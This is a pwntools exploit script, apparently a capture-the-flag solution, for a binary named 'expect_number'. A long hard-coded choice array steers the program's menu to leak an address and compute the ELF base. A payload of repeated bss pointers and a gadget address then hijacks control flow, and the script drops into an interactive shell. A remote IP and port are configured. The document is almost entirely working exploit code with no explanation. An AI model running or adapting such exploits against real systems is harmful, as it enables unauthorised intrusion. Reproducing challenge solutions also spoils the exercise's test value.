1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| from pwn import * context(os='linux', arch='amd64', log_level='debug') context.terminal = ['tmux', 'sp', '-h'] local = 1 elf = ELF('./expect_number') if local: p = process('./expect_number') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: p = remote('39.107.90.219',28738) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sa = lambda n,s : p.sendafter(n,s) sla = lambda n,s : p.sendlineafter(n,s) rc = lambda n : p.recv(n) rl = lambda : p.recvline() ru = lambda s : p.recvuntil(s) ra = lambda : p.recvall() ia = lambda : p.interactive() uu32 = lambda data : u32(data.ljust(4, b'\\x00')) uu64 = lambda data : u64(data.ljust(8, b'\\x00'))
def lg(s): success("%s >> 0x%x" % (s, eval(s)))
def bk(addr): gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) pause() else: gdb.attach(p,"b *{}".format(hex(addr))) def cmd(op): sla(">> waiting for your choice \\n",str(op))
def go(num): cmd(1) sla(">> Which one do you choose? 2 or 1 or 0\\n",str(num))
# + - * / (1 2 3 4) chose = [4,3,2,4,2,4,3,1,2,2,3,4,3,4,4,3,1,3,1,1,4,1,4,2,3,3,3,4,4,4,2,3,3,3,2,4,2,1,4,3,2,2,2,4,1,2,3,1,4,3,2,3,4,1,1,2,3,3,1,2,2,2,1,4,1,2,3,2,2,2,1,4,3,2,3,4,3,1,4,3,4,1,1,3,1,1,4,4,3,4,1,1,1,1,4,1,3,3,3,4,4,3,3,3,4,2,2,3,2,1,1,1,2,1,3,2,2,2,1,4,1,2,4,2,2,4,2,4,2,4,4,1,2,2,3,2,3,4,4,1,1,4,1,2,4,4,3,1,1,4,1,2,1,4,3,2,3,4,2,4,4,1,1,1,2,3,2,1,3,1,1,3,4,1,4,4,4,2,4,1,1,4,2,1,4,4,3,2,3,4,2,2,4,2,3,1,4,4,1,2,1,1,4,4,2,3,3,1,1,3,1,1,2,2,2,1,1,4,3,4,3,4,1,2,1,3,2,4,3,3,2,3,3,1,2,4,4,1,1,4,3,1,4,4,3,1,1,3,4,3,2,2,2,3,3,2,1,1,1,3,3,2,1,1,3,3,1,2,3,1,1,1,1,4,4,3,1,4,2,4,2,3,2,3,1,4,4,2,4,1,4,2,2,1,3,4,3,3,1,1,3,1,1,3,1,4,2,1,4,3,4,1,1,1,4,2,1,3,3,4,3,2,2,1,2,4,4,4,2,1,4,4,1,4,2,1,4,3,1,3,1,1,3,2,1,2,3,1,1,1,1,3,2,2,3,4,1,3,3,2,3,3,1,3,2,2,4,1,1,4,3,1,4,2,2,1,3,4,1,3,4,1,2,2,2,4,1,2,2,3,3,4,1,3,3,3,1,2,3,1,1,2,1,1,3,3,1,1,2,1,4,2,2,1,3,3,4,3,1,2,1,3,1,2,2,3,4,2,4,2,2,1,3,2,1,1,4,1,2,2,1,1,3,2,1,1,1,4,3,1,1,3,3,2,4,4,4,3,1,4,1,2,4,3,4,4,4,3,4,1,4,4,1,2,2,1,2,2,4,4,2,1,3,4,2,2,4,1,1,4,4,1,2,3,3,1,2,2,3,1,2,3,1,2,4,2,2,2,3,2,1,4,2,3,3,3,1,2,3,1,2,3,1,3,1,3,3,3,1,1,3,2,3,3,4,3,4,1,4,2,2,4,1,3,3,4,1,3,1,4,3,2,2,3,4,2,1,2,4,1,3,3,3,1,1,2,3,1,2,2,2,4,2,3,2,4,2,3,2,2,2,4,4,3,2,3,4,2,1,4,3,3,2,1,3,2,2,2,2,3,3,4,2,4,2,4,3,3,2,4,4,3,3,3,1,4,2,4,2,2,3,4,4,4,4,2,2,1,3,3,3,2,2,1,1,3,4,4,1,1,3,1,3,2,3,3,1,4,2,2,1,1,1,4,4,4,2,1,4,4,4,3,1,1,3,2,4,2,1,4,2,3,4,4,4,3,2,1,2,3,2,3,3,3,2,3,2,3,3,2,3,2,4,3,3,2,4,2,3,4,1,4,3,1,3,2,3,4,2,4,2,4,2,1,2,4,3,3,2,1,4,4,3,3,3,1,4,2,2,2,2,2,1,4,2,3,1,4,2,3,4,4,2,1,4,3,4,2,1,2,2,1,1,4,3,3,4,3,1,1,4,2,3,1,1,4,3,1,4,1,3,3,4,4,3,3,2,3,4,3,4,1,3,4,1,1,3,4,3,3,1,3,4,3,3,4,2,1,4,1,1,3,3,4,2,2,2,4,4,1,2,3,2,4,2,2,4,4,1,3,2,1,1,1,3,3,4,1,3,4,1,4,2,4,3,3,1,1,2,4,1,3,2,2,2,3,3,2,3,4,4,4,4,4,1,3,2,4,3,4,3,3,3,4,2,2,3,2,2,4,1,2,3,2,4,4,1,2,1,3,1,4,2,1,3,2,3,4,2,1,4,4,3,2,4,1,3,2,2,4,1,3,2,3,4,1,3,4,2,3,2,3,3,4,3,1,1,1,1,2,1,4,2,3,1,1,3,4,2,1,3,2,3,4,1,2,4,3,2,2,1,3,4,3,2,2,4,3,2,4,4,2,3,1,4,3,1,3,2,2,3,1,4,1,4,4,2,4,2,3,1,2,2,4,1,3,1,4,1,2,3,1,3,1,1,2,3,2,4,1,3,2,1,2,2,4,1,4,3,2,2,3,4,3,2,4,2,2,3,2,3,1,2,1,1,3,3,3,4,2,3,2,4,3]
def show(): cmd(2)
def submit(): cmd(3)
def magic(): cmd(4)
flag1 = 3 flag2 = 5
# 96 = 3 * 2^5
for i in range(0x40): if(chose[i]==1): if(flag1): flag1-=1 go(1) else: go(0) if(chose[i]==2): go(0) if(chose[i]==3): go(1) if(chose[i]==4): go(1)
for i in range(0x40,0x114): if(chose[i]==1): go(0) if(chose[i]==2): go(0) if(chose[i]==3): if(flag2): flag2-=1 go(2) else: go(1) if(chose[i]==4): go(1)
show() ru("History is : ") rc(0x114) elf_base = uu64(rc(6)[-6:]) - 0x4c60 lg("elf_base")
catch = elf_base + 0x2516 backdoor = elf_base + 0x253D bss = elf_base + 0x5040 + 0xa00 lg("catch")
submit() payload = p64(bss)*5 + p64(catch) magic()
sa("Tell me your favorite number.",payload)
ia()
|